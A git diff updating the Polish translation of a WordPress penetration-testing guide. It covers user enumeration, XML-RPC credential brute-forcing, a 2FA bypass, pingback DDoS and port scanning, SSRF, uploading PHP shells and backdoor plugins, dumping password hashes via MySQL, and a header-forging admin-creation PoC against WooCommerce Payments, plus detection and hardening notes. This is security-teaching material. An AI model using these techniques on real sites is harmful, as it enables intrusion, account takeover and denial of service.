diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 02f45ef7f..6e8cfd9ed 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,49 +4,49 @@ ## Podstawowe informacje -- **Uploaded** pliki trafiają do: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Themes files can be found in /wp-content/themes/,** więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie będziesz używać tej ścieżki. Na przykład: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Przesłane** pliki trafiają do: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **Pliki motywów znajdują się w /wp-content/themes/,** więc jeśli zmienisz jakiś php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: Używając **theme twentytwelve** możesz **dostępować** do pliku **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Inny przydatny adres może być:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- W pliku **wp-config.php** możesz znaleźć hasło root do bazy danych. +- W **wp-config.php** możesz znaleźć hasło root do bazy danych. - Domyślne ścieżki logowania do sprawdzenia: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ -### **Główne pliki WordPress** +### **Main WordPress Files** - `index.php` - `license.txt` zawiera przydatne informacje, takie jak zainstalowana wersja WordPress. -- `wp-activate.php` jest używany w procesie aktywacji przez e-mail podczas zakładania nowej strony WordPress. +- `wp-activate.php` jest używany podczas procesu aktywacji przez email przy zakładaniu nowej strony WordPress. - Foldery logowania (mogą być przemianowane, aby je ukryć): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` to plik reprezentujący funkcję WordPress, która umożliwia przesyłanie danych z HTTP jako mechanizmem transportu i XML jako mechanizmem kodowania. Tego typu komunikacja została zastąpiona przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference). -- Folder `wp-content` jest głównym katalogiem, w którym przechowywane są wtyczki i motywy. -- `wp-content/uploads/` jest katalogiem, w którym przechowywane są wszystkie pliki przesłane na platformę. -- `wp-includes/` to katalog, w którym przechowywane są pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widżety. -- `wp-sitemap.xml` W wersjach WordPress 5.5 i wyższych, WordPress generuje plik sitemap XML ze wszystkimi publicznymi wpisami oraz publicznie zapytalnymi typami wpisów i taksonomiami. +- `xmlrpc.php` to plik będący funkcją WordPress, która umożliwia przesyłanie danych z HTTP jako mechanizmem transportu i XML jako mechanizmem kodowania. Ten typ komunikacji został zastąpiony przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference). +- Folder `wp-content` jest głównym katalogiem, w którym przechowywane są pluginy i motywy. +- `wp-content/uploads/` to katalog, w którym przechowywane są wszystkie pliki przesłane na platformę. +- `wp-includes/` to katalog, w którym przechowywane są pliki core, takie jak certyfikaty, czcionki, pliki JavaScript i widgety. +- `wp-sitemap.xml` W wersjach Wordpress 5.5 i nowszych, Wordpress generuje plik sitemap XML ze wszystkimi publicznymi wpisami oraz publicznie zapytalnymi typami wpisów i taksonomiami. **Post exploitation** -- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salty oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do włączenia trybu DEBUG, co może być pomocne przy rozwiązywaniu problemów. +- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salts oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do aktywacji trybu DEBUG, co może być przydatne w rozwiązywaniu problemów. ### Uprawnienia użytkowników - **Administrator** -- **Editor**: Publikuje i zarządza własnymi i cudzymi wpisami -- **Author**: Publikuje i zarządza wyłącznie własnymi wpisami +- **Editor**: Publikuje i zarządza swoimi oraz cudzymi wpisami +- **Author**: Publikuje i zarządza własnymi wpisami - **Contributor**: Pisze i zarządza swoimi wpisami, ale nie może ich publikować - **Subscriber**: Przegląda wpisy i edytuje swój profil ## **Passive Enumeration** -### **Get WordPress version** +### **Sprawdź wersję WordPress** Sprawdź, czy możesz znaleźć pliki `/license.txt` lub `/readme.html` -W **kodzie źródłowym** strony (przykład z [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +Wewnątrz **kod źródłowy** strony (przykład z [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../images/image (1111).png>) -- Pliki linków CSS +- pliki linków CSS ![](<../../images/image (533).png>) -- Pliki JavaScript +- pliki JavaScript ![](<../../images/image (524).png>) @@ -72,42 +72,42 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Wydobywanie wersji — ogólnie +### Ogólne wyodrębnianie wersji ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ## Aktywna enumeracja -### Wtyczki i motywy +### Plugins and Themes -Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych wtyczek i motywów. Aby odkryć je wszystkie, będziesz musiał **aktywnie Brute Force listę wtyczek i motywów** (mamy nadzieję, że istnieją zautomatyzowane narzędzia, które zawierają te listy). +Prawdopodobnie nie będziesz w stanie znaleźć wszystkich Plugins i Themes. Aby odkryć wszystkie, będziesz musiał(a) **aktywnie Brute Force listę Plugins i Themes** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają takie listy). ### Użytkownicy -- **ID Brute:** Uzyskujesz ważnych użytkowników z serwisu WordPress poprzez Brute Forcing ID użytkowników: +- **ID Brute:** Otrzymujesz prawidłowych użytkowników z serwisu WordPress poprzez Brute Forcing identyfikatorów użytkowników: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -Jeśli odpowiedzi mają status **200** lub **30X**, oznacza to, że id jest **prawidłowe**. Jeśli odpowiedź ma status **400**, wtedy id jest **nieprawidłowe**. +Jeśli odpowiedzi mają status **200** lub **30X**, oznacza to, że id jest **prawidłowe**. Jeśli odpowiedź ma status **400**, to id jest **nieprawidłowe**. -- **wp-json:** Możesz również spróbować uzyskać informacje o użytkownikach, wysyłając zapytanie: +- **wp-json:** Możesz także próbować uzyskać informacje o użytkownikach, zapytując: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -Kolejny endpoint `/wp-json/`, który może ujawnić pewne informacje o użytkownikach, to: +Inny endpoint `/wp-json/`, który może ujawnić pewne informacje o użytkownikach, to: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. **Dostarczone zostaną tylko informacje o użytkownikach, którzy mają włączoną tę funkcję**. +Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. **Dostarczone zostaną tylko informacje o użytkownikach, którzy mają tę funkcję włączoną**. Zwróć też uwagę, że **/wp-json/wp/v2/pages** może leak IP addresses. -- **Login username enumeration**: Podczas logowania przez **`/wp-login.php`** **komunikat** jest **inny** i wskazuje, czy **nazwa użytkownika istnieje, czy nie**. +- **Login username enumeration**: Podczas logowania przez **`/wp-login.php`** **komunikat** jest **inny** i wskazuje, czy podany **username** istnieje, czy nie. ### XML-RPC -Jeśli `xml-rpc.php` jest aktywny, możesz przeprowadzić credentials brute-force lub użyć go do przeprowadzenia DoS attacks na inne zasoby. (Możesz zautomatyzować ten proces, na przykład używając [tego](https://github.com/relarizky/wpxploit)). +Jeśli `xml-rpc.php` jest aktywny, możesz przeprowadzić credentials brute-force lub użyć go do uruchomienia DoS attacks na inne zasoby. (Możesz zautomatyzować ten proces[ using this](https://github.com/relarizky/wpxploit) na przykład). Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij to żądanie: @@ -120,9 +120,9 @@ Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) -**Credentials Bruteforce** +**Poświadczenia Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** to niektóre z metod, które mogą być użyte do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego: +**`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** są niektórymi z metod, które można wykorzystać do brute-force poświadczeń. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego: ```html wp.getUsersBlogs @@ -132,13 +132,13 @@ Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ ``` -Komunikat _"Incorrect username or password"_ w odpowiedzi z kodem 200 powinien pojawić się, jeśli dane uwierzytelniające są nieprawidłowe. +Komunikat _"Incorrect username or password"_ w odpowiedzi ze statusem 200 powinien się pojawić, jeśli poświadczenia są nieprawidłowe. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -Używając prawidłowych danych uwierzytelniających możesz przesłać plik. W odpowiedzi pojawi się ścieżka ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +Używając poprawnych poświadczeń możesz przesłać plik. W odpowiedzi pojawi się ścieżka ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -168,18 +168,18 @@ Używając prawidłowych danych uwierzytelniających możesz przesłać plik. W ``` -Jest też **szybszy sposób** na brute-force credentials używając **`system.multicall`**, ponieważ możesz spróbować kilku creds w tym samym żądaniu: +Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
-**Omijanie 2FA** +**Bypass 2FA** -Ta metoda jest przeznaczona dla programów, nie dla ludzi, i jest stara, więc nie obsługuje 2FA. Jeśli masz ważne creds, ale główne wejście jest chronione przez 2FA, **możesz nadużyć xmlrpc.php, aby zalogować się tymi creds, omijając 2FA**. Zwróć uwagę, że nie będziesz w stanie wykonać wszystkich akcji dostępnych przez konsolę, ale nadal możesz uzyskać RCE, jak Ippsec wyjaśnia w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Ta metoda jest przeznaczona dla programów, nie dla ludzi, i jest stara — w związku z tym nie obsługuje 2FA. Jeśli więc masz valid creds, ale główny dostęp jest chroniony 2FA, **możesz być w stanie wykorzystać xmlrpc.php, aby zalogować się tymi creds, omijając 2FA**. Zwróć uwagę, że nie będziesz mógł wykonać wszystkich akcji dostępnych z poziomu konsoli, ale nadal możesz dojść do RCE, jak wyjaśnia Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) -**DDoS lub skanowanie portów** +**DDoS or port scanning** -Jeśli znajdziesz metodę _**pingback.ping**_ na liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego host/port.\ -Może to posłużyć do zmuszenia **tysięcy** Wordpress **sites** do **access** jednej **location** (w ten sposób wywołując **DDoS** w tej lokalizacji), albo możesz użyć tego, aby sprawić, że **Wordpress** przeskanuje jakąś wewnętrzną **network** (możesz wskazać dowolny port). +If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\ +This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port). ```html pingback.ping @@ -191,9 +191,9 @@ Może to posłużyć do zmuszenia **tysięcy** Wordpress **sites** do **access** ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -Jeśli otrzymasz **faultCode** o wartości **większej** niż **0** (17), oznacza to, że port jest otwarty. +Jeśli otrzymasz **faultCode** z wartością **większą** niż **0** (17), oznacza to, że port jest otwarty. -Zwróć uwagę na użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, aby spowodować DDoS. +Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody i spowodować DDoS. **DDoS** ```html @@ -209,15 +209,15 @@ Zwróć uwagę na użycie **`system.multicall`** w poprzedniej sekcji, aby dowie ### wp-cron.php DoS -Ten plik zwykle znajduje się w katalogu root strony Wordpress: **`/wp-cron.php`**\ -Gdy ten plik jest **wywoływany**, wykonywane jest „ciężkie” zapytanie MySQL, więc może być użyty przez **atakujących** do **wywołania** **DoS**.\ -Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony Wordpress), co przy dużym ruchu może powodować problemy (DoS). +Ten plik zwykle znajduje się w katalogu głównym strony Wordpress: **`/wp-cron.php`**\ +Gdy ten plik zostanie **accessed**, wykonywane jest "**heavy**" zapytanie MySQL (**query**), więc może być użyty przez **attackers** do spowodowania **DoS**.\ +Domyślnie `wp-cron.php` jest wywoływany przy każdym ładowaniu strony (za każdym razem gdy klient żąda dowolnej strony Wordpress), co na serwisach o dużym ruchu może powodować problemy (DoS). -Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego zadania cron na hoście, które będzie wykonywać potrzebne akcje w regularnych odstępach (bez powodowania problemów). +Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego cronjob na hoście, który będzie wykonywał potrzebne akcje w regularnych odstępach (bez powodowania problemów). ### /wp-json/oembed/1.0/proxy - SSRF -Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i strona Worpress może wykonać żądanie do Ciebie. +Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ a strona Worpress może wykonać żądanie do Ciebie. This is the response when it doesn't work: @@ -230,26 +230,26 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -To narzędzie sprawdza, czy istnieje **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy**, i jeśli tak, próbuje je exploitować. +To narzędzie sprawdza, czy istnieje **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy**, a jeśli tak, próbuje je wykorzystać. -## Automatic Tools +## Automatyczne narzędzia ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## Uzyskaj dostęp przez nadpisanie jednego bitu +## Uzyskaj dostęp przez nadpisanie bitu -To bardziej ciekawostka niż prawdziwy atak. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było odwrócić 1 bit w dowolnym pliku wordpress. Tak więc można było zmienić bit na pozycji `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zamienić operację NOT (`!`) na NOP. +To bardziej ciekawostka niż prawdziwy atak. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było odwrócić 1 bit w dowolnym pliku wordpress. Można było więc odwrócić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zastąpić operację NOT (`!`) instrukcją NOP. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Panel RCE** -**Modyfikacja pliku php z używanego motywu (wymagane dane logowania administratora)** +**Modyfikacja pliku php z używanego motywu (potrzebne dane logowania admina)** -Wygląd → Edytor motywu → Szablon 404 (po prawej) +Wygląd → Edytor motywów → Szablon 404 (po prawej) Zmień zawartość na php shell: @@ -265,20 +265,20 @@ use exploit/unix/webapp/wp_admin_shell_upload ``` aby uzyskać sesję. -## Plugin RCE +## RCE przez wtyczkę -### PHP plugin +### Wtyczka PHP -Może być możliwe przesłanie plików .php jako plugin.\ +Możliwe, że da się przesłać pliki .php jako wtyczkę. Utwórz swój php backdoor używając na przykład: ![](<../../images/image (183).png>) -Następnie dodaj nowy plugin: +Następnie dodaj nową wtyczkę: ![](<../../images/image (722).png>) -Prześlij plugin i naciśnij Install Now: +Prześlij wtyczkę i naciśnij Install Now: ![](<../../images/image (249).png>) @@ -286,44 +286,44 @@ Kliknij na Procced: ![](<../../images/image (70).png>) -Prawdopodobnie nic się nie stanie, ale jeśli przejdziesz do Media, zobaczysz przesłany shell: +Prawdopodobnie to pozornie nic nie zrobi, ale jeśli przejdziesz do Media, zobaczysz przesłany shell: ![](<../../images/image (462).png>) -Otwórz go i zobaczysz URL do uruchomienia reverse shell: +Otwórz go, a zobaczysz URL do uruchomienia reverse shell: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin -Ta metoda polega na zainstalowaniu malicious plugin znanego z podatności, który może zostać wykorzystany do uzyskania web shell. Proces wykonywany jest przez WordPress dashboard w następujący sposób: +Ta metoda polega na instalacji złośliwej wtyczki, o której wiadomo, że jest podatna i którą można wykorzystać do uzyskania web shella. Proces przeprowadza się przez dashboard WordPress w następujący sposób: -1. **Plugin Acquisition**: plugin jest pobierany ze źródła takiego jak Exploit DB, na przykład [**here**](https://www.exploit-db.com/exploits/36374). +1. **Plugin Acquisition**: wtyczka jest pobierana ze źródła takiego jak Exploit DB jak [**here**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installation**: -- Przejdź do WordPress dashboard, następnie do `Dashboard > Plugins > Upload Plugin`. -- Prześlij plik zip pobranego pluginu. -3. **Plugin Activation**: Po pomyślnej instalacji plugin musi zostać aktywowany przez dashboard. +- Przejdź do panelu WordPress, następnie do `Dashboard > Plugins > Upload Plugin`. +- Prześlij plik zip pobranej wtyczki. +3. **Plugin Activation**: Po pomyślnej instalacji wtyczkę należy aktywować przez dashboard. 4. **Exploitation**: -- Po zainstalowaniu i aktywowaniu pluginu "reflex-gallery" można go exploitować, ponieważ jest znany z podatności. -- Framework Metasploit dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia można uzyskać sesję meterpreter, co daje nieautoryzowany dostęp do strony. -- Należy pamiętać, że jest to tylko jedna z wielu metod wykorzystania podatności w WordPress. +- Po zainstalowaniu i aktywowaniu wtyczki "reflex-gallery" można ją wykorzystać, ponieważ jest znana z bycia podatną. +- Metasploit framework udostępnia exploit dla tej podatności. Załadowanie odpowiedniego modułu i wykonanie specyficznych poleceń pozwala uzyskać sesję meterpreter, dając nieautoryzowany dostęp do serwisu. +- Należy zauważyć, że to tylko jedna z wielu metod wykorzystania strony WordPress. -Zawartość zawiera materiały wizualne przedstawiające kroki w dashboardzie WordPress dotyczące instalacji i aktywacji pluginu. Należy jednak pamiętać, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak penetration testing z wyraźną zgodą. +Treść zawiera materiały wizualne przedstawiające kroki w dashboard WordPress dotyczące instalacji i aktywacji wtyczki. Jednak ważne jest, aby zaznaczyć, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i jedynie w kontekście prawnym, takich jak testy penetracyjne z wyraźną zgodą. **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## From XSS to RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ to skrypt zaprojektowany do eskalacji podatności **Cross-Site Scripting (XSS)** do **Remote Code Execution (RCE)** lub innych krytycznych podatności w WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Zapewnia **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** - _**Privilege Escalation:**_ Tworzy użytkownika w WordPress. -- _**(RCE) Custom Plugin (backdoor) Upload:**_ Prześlij swój custom plugin (backdoor) do WordPress. -- _**(RCE) Built-In Plugin Edit:**_ Edytuj wbudowane pluginy w WordPress. -- _**(RCE) Built-In Theme Edit:**_ Edytuj wbudowane motywy w WordPress. -- _**(Custom) Custom Exploits:**_ Custom Exploits dla third-party WordPress Plugins/Themes. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ Prześlij własną wtyczkę (backdoor) do WordPress. +- _**(RCE) Built-In Plugin Edit:**_ Edytuj wbudowaną wtyczkę w WordPress. +- _**(RCE) Built-In Theme Edit:**_ Edytuj wbudowany motyw w WordPress. +- _**(Custom) Custom Exploits:**_ Własne exploity dla third-party WordPress Plugins/Themes. ## Post Exploitation -Wyodrębnij nazwy użytkowników i hasła: +Wydobądź nazwy użytkowników i hasła: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` @@ -335,13 +335,13 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### Powierzchnia ataku -Znajomość sposobów, w jakie wtyczka Wordpress może ujawniać funkcjonalności, jest kluczowa, aby znaleźć podatności w jej działaniu. Poniżej znajdziesz, w jaki sposób wtyczka może ujawniać funkcjonalności, oraz przykłady podatnych wtyczek w [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). +Zrozumienie, w jaki sposób wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowe do odnalezienia podatności w jej działaniu. Możesz zobaczyć, w jaki sposób wtyczka może ujawniać funkcje w poniższych punktach oraz znaleźć kilka przykładów podatnych wtyczek w [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, są obsługiwacze AJAX. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, często bywa tak, że te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu Wordpress nonce, które **każdy uwierzytelniony użytkownik instancji Wordpress może posiadać** (niezależnie od jego roli). +Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, są obsługi AJAX. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, dość często te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu wordpress nonce, które **każdy użytkownik zalogowany w instancji Wordpress może posiadać** (niezależnie od roli). -Oto funkcje, które mogą być użyte do udostępnienia funkcji w wtyczce: +Oto funkcje, które mogą być użyte do udostępnienia funkcji we wtyczce: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); @@ -349,11 +349,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); **Użycie `nopriv` sprawia, że endpoint jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).** > [!CAUTION] -> Ponadto, jeśli funkcja sprawdza autoryzację użytkownika tylko za pomocą funkcji `wp_verify_nonce`, ta funkcja jedynie sprawdza, czy użytkownik jest zalogowany; zazwyczaj nie sprawdza roli użytkownika. W rezultacie użytkownicy o niskich uprawnieniach mogą mieć dostęp do akcji wymagających wyższych uprawnień. +> Co więcej, jeśli funkcja jedynie sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, ta funkcja tylko sprawdza, czy użytkownik jest zalogowany — zwykle nie weryfikuje roli użytkownika. W związku z tym użytkownicy o niskich uprawnieniach mogą mieć dostęp do operacji wymagających wyższych uprawnień. - **REST API** -Możliwe jest też wystawienie funkcji z wordpressa poprzez zarejestrowanie REST API przy użyciu funkcji `register_rest_route`: +Możliwe jest również udostępnienie funkcji z wordpressa przez zarejestrowanie REST API za pomocą funkcji `register_rest_route`: ```php register_rest_route( $this->namespace, '/get/', array( @@ -363,21 +363,21 @@ $this->namespace, '/get/', array( ) ); ``` -The `permission_callback` jest funkcją wywoływaną (callbackiem), która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API. +The `permission_callback` to callback do funkcji, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API. -**Jeśli użyta jest wbudowana funkcja `__return_true`, po prostu pominie ona sprawdzenie uprawnień użytkownika.** +**Jeśli użyta zostanie wbudowana funkcja `__return_true`, po prostu pominie ona sprawdzenie uprawnień użytkownika.** -- **Bezpośredni dostęp do pliku PHP** +- **Bezpośredni dostęp do pliku php** -Oczywiście Wordpress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Jeśli wtyczka ujawnia jakąś podatną funkcjonalność, która jest wywoływana jedynie przez dostęp do pliku, będzie ona wykorzystywalna przez dowolnego użytkownika. +Oczywiście Wordpress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Jeśli wtyczka udostępnia podatną funkcjonalność, która jest wywoływana jedynie przez dostęp do pliku, będzie ona możliwa do wykorzystania przez każdego użytkownika. ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -Niektóre wtyczki implementują „trusted header” skróty dla integracji wewnętrznych lub reverse proxies i następnie używają tego headera do ustawiania kontekstu bieżącego użytkownika dla żądań REST. Jeśli header nie jest kryptograficznie powiązany z żądaniem przez komponent upstream, atakujący może go sfałszować i wywołać uprzywilejowane trasy REST jako administrator. +Niektóre wtyczki implementują skróty "trusted header" dla integracji wewnętrznych lub reverse proxies i następnie używają tego headera do ustawienia aktualnego kontekstu użytkownika dla żądań REST. Jeśli header nie jest kryptograficznie powiązany z żądaniem przez komponent upstream, atakujący może go sfałszować i trafić na uprzywilejowane REST route'y jako administrator. -- Wpływ: eskalacja uprawnień bez uwierzytelnienia do roli administratora poprzez utworzenie nowego administratora za pomocą core users REST route. -- Example header: `X-Wcpay-Platform-Checkout-User: 1` (wymusza ID użytkownika 1, zazwyczaj pierwsze konto administratora). -- Wyeksploatowana trasa: `POST /wp-json/wp/v2/users` z podwyższoną tablicą ról. +- Wpływ: eskalacja uprawnień bez uwierzytelnienia do roli administratora przez utworzenie nowego administratora za pomocą core users REST route. +- Przykładowy header: `X-Wcpay-Platform-Checkout-User: 1` (wymusza user ID 1, zazwyczaj pierwsze konto administratora). +- Wykorzystywana ścieżka: `POST /wp-json/wp/v2/users` z tablicą z podwyższoną rolą. PoC ```http @@ -393,8 +393,8 @@ Content-Length: 114 ``` Dlaczego to działa -- The plugin maps a client-controlled header to authentication state and skips capability checks. -- WordPress core expects `create_users` capability for this route; the plugin hack bypasses it by directly setting the current user context from the header. +- Wtyczka mapuje nagłówek kontrolowany przez klienta na stan uwierzytelnienia i pomija sprawdzanie uprawnień. +- WordPress core oczekuje uprawnienia `create_users` dla tej ścieżki; hack wtyczki omija to przez bezpośrednie ustawienie kontekstu bieżącego użytkownika na podstawie nagłówka. Oczekiwane wskaźniki sukcesu @@ -405,18 +405,9 @@ Lista kontrolna wykrywania - Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`). - Przejrzyj rejestracje REST pod kątem uprzywilejowanych callbacków, które nie mają solidnych sprawdzeń `permission_callback` i zamiast tego polegają na nagłówkach żądania. -- Szukaj użyć funkcji rdzenia do zarządzania użytkownikami (`wp_insert_user`, `wp_create_user`) wewnątrz REST handlers, które są ograniczone wyłącznie przez wartości nagłówków. +- Szukaj użyć funkcji zarządzania użytkownikami rdzenia (`wp_insert_user`, `wp_create_user`) wewnątrz handlerów REST, które są zabezpieczone jedynie przez wartości nagłówków. -Wzmocnienie - -- Nigdy nie wyprowadzaj uwierzytelnienia ani autoryzacji z nagłówków kontrolowanych przez klienta. -- Jeśli reverse proxy musi wstrzyknąć identity, zakończ zaufanie na proxy i usuń przychodzące kopie (np. `unset 